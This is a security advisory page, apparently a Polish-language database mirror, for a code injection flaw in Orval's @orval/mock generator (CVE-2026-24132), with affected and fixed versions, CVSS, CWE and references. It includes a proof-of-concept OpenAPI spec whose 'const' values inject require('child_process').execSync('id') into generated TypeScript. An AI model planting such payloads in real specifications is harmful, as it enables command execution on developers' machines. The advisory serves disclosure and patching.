Orval Mock Generation Code Injection via const
I am reporting a code injection vulnerability in Orval’s mock generation pipeline affecting @orval/mock in both the 7.x and 8.x series. This issue is related in impact to the previously reported enum x-enumDescriptions (https://github.com/advisories/GHSA-h526-wf6g-67jv), but it affects a different code path in the faker-based mock generator rather than @orval/core.
The vulnerability allows untrusted OpenAPI specifications to inject arbitrary TypeScript/JavaScript into generated mock files via the const keyword on schema properties. These const values are interpolated into the mock scalar generator (getMockScalar in packages/mock/src/faker/getters/scalar.ts) without proper escaping or type-safe serialization, which results in attacker-controlled code being emitted into both interface definitions and faker/MSW handlers. I have confirmed that this occurs on orval@7.19.0 and orval@8.0.2 with mock: true, and that the generated mocks contain executable payloads such as require('child_process').execSync('id') in the output TypeScript.
openapi: 3.1.0
info:
title: Mock Const Injection PoC
version: 1.0.0
paths:
/test:
get:
operationId: getTests
responses:
'200':
description: OK
content:
application/json:
schema:
$ref: '#/components/schemas/Tests'
components:
schemas:
Tests:
type: object
properties:
EvilString:
type: string
const: "'); require('child_process').execSync('id'); //"
EvilNumber:
type: number
const: "0); require('child_process').execSync('id'); //"
SafeEnum:
type: string
enum: ["test"]
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Paczka npm | @orval/mock | < 7.20.0, >= 8.0.0-rc.0, < 8.0.3 | 7.20.0, 8.0.3 |
Odnośniki
- https://github.com/orval-labs/orval/security/advisories/GHSA-f456-rf33-4626
- https://nvd.nist.gov/vuln/detail/CVE-2026-24132
- https://github.com/orval-labs/orval/pull/2828
- https://github.com/orval-labs/orval/pull/2829
- https://github.com/orval-labs/orval/pull/2830
- https://github.com/orval-labs/orval/commit/44ca8c1f5f930a3e4cefb6b79b38bcde7f8532a5
- https://github.com/orval-labs/orval/commit/6d8ece07ccb80693ad43edabccb3957aceadcd06
- https://github.com/orval-labs/orval/commit/9b211cddc9f009f8a671e4ac5c6cb72cd8646b62
- https://github.com/orval-labs/orval
- https://github.com/orval-labs/orval/releases/tag/v7.20.0
- https://github.com/orval-labs/orval/releases/tag/v8.0.3
- Wektor CVSS
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N- Słabość (CWE)
CWE-77, CWE-94- Platforma
- npm
- Paczka
@orval/mock- Ujawniono
- 22.01.2026
- Aktualizacja
- 11.10.2026 10:22
Źródła i licencje
OSV / GitHub Advisory Database - GHSA-f456-rf33-4626 - CC BY 4.0
Historia podatności: @orval/mock
Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
To jedyna znana podatność tej paczki.
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.